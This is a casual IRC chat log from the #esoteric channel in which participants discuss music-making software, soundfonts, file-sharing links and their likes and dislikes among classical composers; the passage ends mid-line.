< 1267817286 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: what do you compose with? < 1267817307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, is this recorded or synthed? < 1267817313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if synthed, what soundfont < 1267817328 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, unless I misremember: rosegarden < 1267817346 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1267817355 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I must be the only kiddy who plays with lmms < 1267817360 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267817368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what is lmms? < 1267817379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, rosegarden is FOSS in case you didn't know < 1267817400 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Naah, I did. Linux Multimedia Studio < 1267817406 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :*MultiMedia < 1267817409 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1267817410 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION used rosegaden a bit.
< 1267817416 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It is recorded and synthed :P < 1267817418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the real PITA is jack < 1267817419 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In that I have a digital piano. < 1267817423 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, ah < 1267817427 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I haven't actually tried a midi tracker < 1267817431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, not recorded with a mic then < 1267817435 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267817445 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, tracker is wrong word for what I use rosegraden for at least < 1267817465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, what soundfont though? < 1267817494 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Steinway IMIS or something like that, one sec. < 1267817549 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, what would you call it? < 1267817555 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ftp://musix.ourproject.org/pub/musix/sf2/Steinway_IMIS2.2/Steinway_IMIS2.2.sf2.bz2 < 1267817563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, free? < 1267817575 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Quite < 1267817588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, was it the one where ehird commented upon the silly site header? < 1267817601 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No :P < 1267817607 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AFAIK this one exists only in ftp, no web site. < 1267817611 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267817619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, so is this one better or worse in your opinion < 1267817624 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Better. < 1267817625 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Much. < 1267817629 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It is a truly outstanding soundfont. < 1267817630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, also what tool do you use for the actual synthing? < 1267817635 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fluidsynth < 1267817637 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I made this today as a tribute to 8bp, using lmms: did someone fill the bit bucket now again? < 1267817645 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yugh, wrong clipboard < 1267817646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, hm I never got that to work reliably < 1267817650 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :http://www.mediafire.com/?zgmc4dlmcnl < 1267817656 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fluidsynth is hugely buggy and terrible. < 1267817660 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But when it does work, it's quite nice :P < 1267817666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, how do you use it them < 1267817667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then* < 1267817698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, how do I actually access the file from there? There is no download link as far as I can see here in w3m < 1267817699 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: For just piano it's quite simple: fluidsynth -l -F output.wav my.sf2 my.mid < 1267817710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267817721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, that download is slow: < 1267817723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 0% [ ] 110 880 --.-K/s eta 5h 42m < 1267817725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, ^ < 1267817725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267817731 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: you should title it "did someone fill the bit bucket now again?" < 1267817743 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :er, AnMaster, i think it needs js < 1267817748 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I have no control of that download site :P < 1267817751 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: that is oddly appropriate < 1267817751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I don't do js < 1267817765 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, I can't think of another host atm < 1267817770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, care to put your local copy somewhere I can get it reasonably soon? < 1267817781 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://download568.mediafire.com/bmxwgiuhbz1g/zgmc4dlmcnl/new_maybe.ogg < 1267817783 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Fleh < 1267817787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, thanks < 1267817791 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :maybe my session is valid for you < 1267817803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, seems to work < 1267817815 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267817844 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :arg, wait, it can't be working < 1267817856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, oh? < 1267817879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, is 3107b155456ce6cc6e811df2ff78a59989a9f2eae38b4b7a70f7a124ab0a55d2e9b4e0763ce037008b9580c162c189a63b58fdfc2346f80f6890c76dbda99b35 the correct sha512sum? < 1267817884 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah, the file doesn't exist (wrong title), so I donno what it's givin you < 1267817896 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://download732.mediafire.com/y1nmiltmhndg/qwnwkqt1ynn/lmms_1.ogg < 1267817897 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Query < 1267817900 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lemme check < 1267817930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, gave me a html file http://download732.mediafire.com/y1nmiltmhndg/qwnwkqt1ynn/lmms_1.ogg < 1267817933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at that one < 1267817940 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :wha? < 1267817981 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :http://download732.mediafire.com/y1nmiltmhndg/qwnwkqt1ynn/lmms_1.ogg ? < 1267817992 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :That's the only link I can get < 1267818008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, gives me the download page < 1267818018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, but was the sha512sum correct? < 1267818051 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :b9004fc3e3d9d3009ad6f58b8669fb1f897dd2e4097aac1fb4b65310d8bc80756e9eda2c6b4178137b3e71fd809941630266335d4ee4a145de8928d5d08fa645 < 1267818058 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :doesn't look right < 1267818063 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :mediafire = fail < 1267818076 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :they gave you a file that, according to my log, was deleted last year < 1267818085 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :new_maybe.ogg? < 1267818148 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :let me try once more < 1267818237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, why not filebin? < 1267818258 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :didn't know about it < 1267818288 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :dot org/ca? < 1267818302 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ok, one more try if you don't mind: http://download732.mediafire.com/rw9smzsgbztg/qwnwkqt1ynn/lmms_1.ogg < 1267818364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, .ca is the one I usually use < 1267818372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, seems to work < 1267818377 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :finally < 1267818378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, hasn't finished downloading yet < 1267818416 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, b9004fc3e3d9d3009ad6f58b8669fb1f897dd2e4097aac1fb4b65310d8bc80756e9eda2c6b4178137b3e71fd809941630266335d4ee4a145de8928d5d08fa645? < 1267818422 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, well, mediafire's sessions aren't supposed to be this abused. I had to track down the response to activate the download and kill it, then I guess the id was left open < 1267818427 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267818428 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267818444 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, square waves? < 1267818461 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :tribute to 8BP ;) < 1267818467 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :8bitpeoples.com < 1267818486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sends the hospital bill to hiato for this
< 1267818506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I have nothing against things like SID, but this is not like that < 1267818509 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :haha, it's not that bad, surely < 1267818512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this is too square wave < 1267818528 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, the melody isn't bad. I just can't stand square waves < 1267818533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sinus for me please < 1267818536 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ah, right < 1267818549 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :soory, I tend to like them actually < 1267818552 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :in fact, quite a bit < 1267818568 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, I have very instrumenty stuff too, just decided to experiment < 1267818604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I'm perfectly fine with things like SID when it doesn't try to sound much more than what it is < 1267818625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I like classical music and some baroque < 1267818631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mostly viola/violin music < 1267818635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some other too < 1267818664 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Ok, fair enough. Well, to be honest the square wave you hate so much I bent out of a SID emulator < 1267818667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(Vivaldi is probably number two all time favourite after Kraus) < 1267818684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, sure, but C64 games tend to not use it quite like that < 1267818690 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right, well, I do appreciate the odd violin piece, but I'm much more orchestral < 1267818711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, chamber music for me :) < 1267818715 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :medelhsonn etc < 1267818720 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Borodiiiiiiin! < 1267818721 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Oh noes! not chamber music < 1267818725 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :BORODIIIIIIIIIIIN < 1267818726 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yugh < 1267818727 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, why not? < 1267818756 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, why.... < 1267818765 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Because Borodin is awesome? < 1267818770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Kraus! < 1267818774 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :BORODIN! < 1267818775 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I just cant stand it. There are a couple of things that I cant stand. Chamber music, water music, most baroque, handel, bach < 1267818783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, have you listened much to Kraus at all? < 1267818784 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Tchaikovsky! Prokofiev! < 1267818791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :He was a true genius < 1267818793 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: A bit, not much, but it's been a while :P < 1267818800 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Balakirev! Rimsky-Korsakov! < 1267818816 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION adds Led Zeppelin to the discussion
< 1267818818 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Gregor has good taste < 1267818820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Gregor: all the ones you mention (up until Gregor's last line) are fairly well known ones < 1267818831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Kraus is sadly not so well known < 1267818859 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267818861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :buy the complete set from your local Naxos branch today! < 1267818882 0 :dougx!~dougx@vc-41-29-214-141.umts.vodacom.co.za JOIN :#esoteric < 1267818883 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think Rimsky-Korsokov was used as a curse word in at least the Finnish translation of Bored of the Rings. < 1267818890 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, or at least listen to his C sharp minor sinfonia on youtube < 1267818896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, movement 3 especially < 1267818903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is the best music I ever listened to < 1267818907 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but I also like holst < 1267818915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and on second place comes third movement from Vivaldi's summer < 1267818919 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when played fast < 1267818921 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :goddamn delayed comment < 1267818924 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION can't believe he's actually reorganizing his bookmarks
< 1267818932 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Holst??? < 1267818935 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Pfff < 1267818939 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Nine-hit wonder. < 1267818957 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Swap him out for Elgar. < 1267818959 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267818966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Now Elgar is quite okay to listen to < 1267818974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but not one of the things that you actually go "wow" over < 1267818977 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Haven't heard enough of him to decide -> indifference < 1267818979 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is in love with Chrome's bookmark manager
< 1267818994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :while Kraus and Vivaldi are in the "wow, wow, wow" category < 1267819019 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :PACHELBEL < 1267819023 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*stabs self* < 1267819029 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :aargh stop talking about music < 1267819032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, yes, except that music is badly overused < 1267819035 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Thank you for saving me the effort, Gregor < 1267819037 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Now, I forget what this guy's name was, but he did the Gymnopédie and Gnossienne and I love it < 1267819042 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, there is esolang music too < 1267819047 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Satie < 1267819049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Satie? < 1267819050 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :<3 Satie < 1267819053 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267819053 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes! < 1267819055 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: aaargh < 1267819057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I quite like Satie < 1267819074 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, there is some esolangs that takes midi as input iirc < 1267819085 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Prokofiev is my absolute favorite. < 1267819093 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, why do I have a link to a page on /b/ in here? Did I forget that /b/ links tend to die? < 1267819118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, from what I remember, it is quite... heavy and... "pompöst" (no clue what this is in English) < 1267819121 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and, ofc, who can deny the schindlers list theme < 1267819126 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :aaaargh < 1267819137 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: "Pompous" < 1267819143 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Presumably) < 1267819147 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, ah < 1267819149 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well yeah < 1267819152 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :satie can go suck it, fuck you for writing music without bar lines < 1267819156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :same goes for Borodin < 1267819159 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what a jerk really < 1267819167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and *definitely* for Sibelius < 1267819191 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK, how 'bout Ravel then hyuk hyuk < 1267819193 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sibelius sounds like an old man wandering around a house with no idea what he's looking for. < 1267819197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, the Swedish word has a negative connotation < 1267819207 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, does the English "Pompous" have that? < 1267819211 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The English word has negative connotation. < 1267819212 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Ravel ftw! too bad he only had one real hit < 1267819214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267819215 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and bizet < 1267819221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, Ravel is all right < 1267819224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but also overplayed < 1267819228 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and not balancedly so < 1267819228 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Bizet only had one opera worth of hits :P < 1267819237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I quite like some of Ravel's other music < 1267819240 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Quality>quantity < 1267819245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also Bizet just wrote operas didn't he? < 1267819256 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at least I hardly remember what he wrote < 1267819260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I don't like operas < 1267819269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(guess if I hate or hate wagner?) < 1267819273 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: "Pompous" means like "arrogant" -- I don't think of Prokofiev's music as anything like that. < 1267819278 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, yes, he wrote an opera, and it is good :P < 1267819282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, did Satie really do that? < 1267819297 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"rimsky-korsikov": http://pastebin.com/qWERDPKM < 1267819302 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hm. Most russian music sound like that to be < 1267819309 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I just don't like operas! < 1267819315 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Mmmm, pompous doesn't /quite/ mean arrogant, but yeah, similar. < 1267819318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I dislike the singing < 1267819324 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And I can see what AnMaster is saying about pompousness in Russian music. < 1267819336 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But Russian music is all awesomesauce :P < 1267819337 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: but that is the point < 1267819338 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=q0AkO2OTfjA < 1267819343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : "rimsky-korsikov": http://pastebin.com/qWERDPKM <-- ? < 1267819359 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Yeah! I ... er, have ... the red army chior double cd < 1267819372 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Just a random act of quotation. < 1267819380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I have something like that on LP I think < 1267819383 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somewhere < 1267819390 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't buy it myself < 1267819401 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and it's brilliant < 1267819410 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, *of* Russian music, Prokofiev is like the least pompous, I think. < 1267819414 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Argh, I was going to mention that composer who was quite popular until everybody started associating him with Nazi Germany, and now his music is super-underplayed, but I can't remember his name ... < 1267819426 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hitler? < 1267819434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well, their rendition of the Internationale is quite impressive! < 1267819437 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :gah, the SCO court cases are setting my mind on the verge of exploding < 1267819438 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(sp?) < 1267819440 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hitler was a fan of his. < 1267819443 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :then, you get the wonders of Monti in his one favourable piece < 1267819453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Well, *of* Russian music, Prokofiev is like the least pompous, I think. <-- and it is still too much so for me < 1267819461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I prefer not at all pompous music < 1267819475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, probably why I so much strongly prefer chamber music < 1267819488 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Internationale from them moved me the first time I heard it < 1267819490 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Understandable. Well, Vivaldi is also in my Top Ten. < 1267819496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :full orchestra somehow tends to make music more easily pompous... < 1267819511 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :you cannot say that tchaikovsky was pompous < 1267819511 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, hm < 1267819514 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :that is a crime < 1267819516 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I do say that < 1267819533 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Blasphemer! < 1267819535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :And lets just not get started about Mahler! < 1267819540 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's all about twisted structure to me (could you tell from my languages...?), and for that, Prokofiev absolutely frickin rules. At least, to me. < 1267819555 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :soon you'll say you like strauss or chopan or something < 1267819558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now I think he might even beat Sibelius at being most pompous ever < 1267819567 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, which Strauss? < 1267819577 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Handel and Chopin are also good stuff. < 1267819577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I quite like some of Chopin's music < 1267819578 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you have me stumped < 1267819584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Händel varies < 1267819588 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :flight of the valkyer strauss, AnMaster < 1267819589 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I like part of his music < 1267819595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some less so < 1267819597 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the most pompous is obviously vagner < 1267819601 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :wagner < 1267819607 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :please, say it isn't so < 1267819609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : flight of the valkyer strauss, AnMaster <-- now you are mixing up Strauss and Wagner < 1267819612 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :eg < 1267819614 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1267819617 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I meant blue danube < 1267819623 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, and Wagner is *horrible* < 1267819623 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking about wagner though < 1267819626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is easily worst ever < 1267819627 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ever < 1267819629 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes, agreed < 1267819639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, for Strauss, I can't keep them apart really < 1267819643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so can't really answer < 1267819647 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i only ever heard one wagner piece and it was pretty awesome (the ouverture to lohengrin) < 1267819648 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Wagner is background music for D&D melodrama < 1267819667 0 :AnMaster!unknown@unknown.invalid 